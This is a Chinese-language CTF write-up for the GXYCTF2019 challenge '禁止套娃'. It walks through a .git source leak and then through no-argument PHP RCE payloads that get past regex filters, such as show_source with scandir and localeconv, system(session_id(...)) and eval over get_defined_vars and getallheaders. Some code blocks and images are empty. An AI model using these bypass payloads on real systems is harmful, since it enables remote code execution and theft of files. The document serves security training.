GXYCTF2019 禁止套娃
信息收集
使用目录扫描工具 dirsearch 对其进行扫描,发现存在 .git 目录。

猜测可能是 git 泄露,使用 GitHacker 工具尝试获取其源码信息。

分析
得到源码,如下:
1 |
|
我们的目标是执行条条判断中的 eval,达到命令执行的效果。首先,我们看下第一个 if 条件:
条件一:
1 | preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])); |
不能使用 data://、filter、php://、phar:// 伪协议。
条件二:
接着来看第二个判断:
1 | if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) { |
exp 的值只能包含 小写字母、_、()等字符,其中的 (?R) 表示递归匹配。
也就是说,我们为函数传入参数。经典的无参RCE,请看如下示例:
1 | a(); // true |
那么我们如何在不传入参数的情况下,达到命令执行最终获取 FLAG 呢?其实我们可以通过内置函数的返回值。获取我们想要的结果。
条件三:
1 | if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) { |
不能传入et、na、info、dec、bin、hex、oct、pi、log 关键字。
总结:
- 不能使用伪协议:
data://、filter、php://、phar:// - 不能使用除小写字母、下划线、左右括号的字符
- 不能使用
et、na、info、dec、bin、hex、oct、pi、log关键字
思考
一般CTF题目,flag要么在根目录下,要么在网站根目录下,网站根目录下一般为 flag.php文件,我们先直接访问flag.php发现该文件存在。
目标: 获取 flag.php 文件的内容。
读取 flag.php
scandir(‘.’)
问题一: 如何通过函数的返回值获取到 scandir('.') 中的点呢?
1.chr()
- 我们需要一个函数生成一个随机数,能获取到46这个值:
chr(rand())
当chr()函数接收到一个比255大的数据时,则会将该值与256进行取模运算。每256个包成功一次。

chr(time())每256秒成功一次chr(current(localtime(time())))每60秒成功一次
2.current(localeconv()) 推荐
3.phpversion()phpversion() 返回php版本,如7.3.5floor(phpversion())返回7sqrt(floor(phpversion()))返回2.6457513110646tan(floor(sqrt(floor(phpversion()))))返回-2.1850398632615cosh(tan(floor(sqrt(floor(phpversion())))))返回4.5017381103491sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))返回45.081318677156ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))返回46chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))返回.var_dump(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))))扫描当前目录next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))))返回..
4.crypt()chr(ord(hebrevc(crypt(phpversion())))) 返回 .hebrevc(crypt(arg))可以随机生成一个hash值 第一个字符随机是 $(大概率) 或者 .(小概率) 然后通过ord chr只取第一个字符
数组操作:pos() / current() 默认返回数组第一个元素end() : 将内部指针指向数组中的最后一个元素,并输出next() :将内部指针指向数组中的下一个元素,并输出prev() :将内部指针指向数组中的上一个元素,并输出reset() : 将内部指针指向数组中的第一个元素,并输出each() : 返回当前元素的键名和键值,并将内部指针向前移动
问题二: 如何从数组中取到flag.php?
1.array_reverse() 反转数组
1 | var_dump(array_reverse(scandir(current(localeconv())))); |

此时 flag.php 就在第二个元素当中了,我们使用 next() 将指针指向下一个元素 flag.php,最后使用 show_source 查看内容即可:
1 | show_source(next(array_reverse(scandir(current(localeconv()))))); |

仅限于flag.php文件在倒数第二个。
2.array_rand(array_flip())
其中array_flip()函数用来数组和键之间的交换,而array_rand则用来随机获取键名。
这种方法适用于flag.php的所在位置的任何场景,但是由于是随机取键,故而需要多试几次。
当然我们可以通过getcwd()函数获取当前工作目录,并直接配合scandir()获取当前目录内容。
1 | var_dump(scandir(getcwd())); |
但是由于本题过滤了et,故而该函数不能使用。
session()
本题虽然 ban 了 hex 关键字,导致hex2bin()函数无法使用,但是我们可以不依赖十六机制ASCII码的形式,因为 flag.php 字符都是 PHPSESSID 所支持的。
在使用 session 之前,一定要执行session_start()函数,因为默认情况下,PHP是不支持 session 的。session_id() 函数可以获取到用户在cookie中传入的 PHPSESSID 字段。
1 | system(session_id(session_start())); |


getallheaders()
getallheaders() 函数用于获取用户的请求头信息,该函数是apache_request_headers()的别名函数,并将其转为关联数组。
如果在请求头底部添加 x1ong: phpinfo(); 很大概念则会在第一个元素或者最后一个元素显示。
因此可以通过current() 或 end() 函数来获取数组的第一个和最后一个元素。
1 | eval(current(getallheaders())); // 第一个 |

但是由于本题过滤了 et 关键字,故而故能使用该函数。但是可以尝试使用apache_request_headers(),尝试之后依旧无效。可能由于 PHP 版本缘故。因此该函数只做扩展。不适用于解本题。
get_defined_vars()
get_defined_vars — 返回由所有已定义变量所组成的数组
效果如下:
可以看到,内置变量 $_GET、$_POST、$_COOKIE、$_FILES 等变量都在其中。
那么假设我们执行 eval('phpinfo()'); 该如何构造呢?
1 | eval(end(current(get_defined_vars()))); // 取get的最后一个参数 |
1 | ?exp=eval(end(current(get_defined_vars())));&x1ong=phpinfo(); |
本题由于 ban 了 et 关键字,故而不能使用该方法,很多时候,我们也可以使用 $GLOBALS 变量达到与get_defined_vars一样的效果。
读取文件的方法
1 | var_dump(file_get_contents()); |




